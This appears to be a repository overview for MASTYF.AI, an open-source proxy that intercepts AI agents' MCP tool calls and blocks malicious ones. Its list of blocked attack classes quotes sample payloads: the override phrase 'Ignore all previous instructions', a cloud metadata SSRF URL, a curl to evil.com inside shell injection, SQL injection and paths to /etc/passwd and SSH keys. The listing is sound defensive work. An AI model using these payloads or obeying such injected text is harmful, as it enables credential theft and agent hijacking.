rudraneel93/mastyfai repository overview

MASTYF.AI — PERIMETER SECURITY FOR AI AGENTS

Open-source (MIT) runtime security proxy for MCP. Sits between your AI agent and every MCP server, intercepting all tool calls and blocking malicious actions before execution.

WHAT IT BLOCKS (18 attack classes):

• Prompt injection: "Ignore all previous instructions"
• SSRF: http://169.254.169.254/latest/meta-data/⁠
• Shell injection: $(curl http://evil.com/steal⁠)
• SQL/NoSQL injection: UNION SELECT username, password
• Credential exfiltration: API keys and tokens in arguments
• Path traversal: /etc/passwd, ../../.ssh/id_rsa
• Polyglot attacks, dangerous URLs, JWT manipulation, deserialization, HTTP smuggling, and more

304-entry adversarial corpus validates every rule.

ARCHITECTURE: 6-Phase Defense Fabric

Lifecycle → Pre-Guard → Hooks → Policy Engine → Semantic → Spend

QUICK START

Open mode (no auth — local dev): docker run -p 4000:4000 -e DASHBOARD_AUTH_DISABLED=true rudraneel93/mastyfai:latest

Dashboard at http://localhost:4000⁠ — no login required.

Auth-enabled mode (production): docker run -p 4000:4000
-e DASHBOARD_AUTH_DISABLED=false
-e DASHBOARD_JWT_SECRET="$(openssl rand -hex 32)"
rudraneel93/mastyfai:latest

First visit creates admin account.

FEATURES

• YAML Policy Engine — write security policies in plain YAML, version-control
• Trust Scoring — 0-100 badges for npm MCP packages
• Cloud Dashboard — fleet management, threat feed at mastyf-live.vercel.app
• Multi-Transport — stdio, SSE, streamable HTTP, WebSocket
• Audit Hash Chain — cryptographic integrity on every decision
• Field Encryption — AES-256-GCM at rest
• Corpus Evaluator — built-in adversarial test runner

SDKs & PACKAGES

npm: npm install @mastyf_ai/langchain-middleware npm: npm install @mastyf_ai/openai-agents-middleware Python: pip install mastyf-ai Docker: docker pull rudraneel93/mastyfai:latest

ENVIRONMENT VARIABLES

DASHBOARD_AUTH_DISABLED true Set false to enable auth DASHBOARD_JWT_SECRET — Required when auth is enabled DASHBOARD_PORT 4000 Dashboard HTTP port MASTYF_AI_DB_PATH ~/.mastyf-ai/history.db MASTYF_AI_BLOCKING_MODE block block or flag (audit-only)

LINKS

GitHub: github.com/mastyf-ai/mastyf.ai Cloud: mastyf-live.vercel.app npm: npmjs.com/org/mastyf_ai PyPI: pypi.org/project/mastyf-ai ghcr.io: ghcr.io/mastyf-ai/mastyf.ai:latest

TAGS: latest, main LICENSE: MIT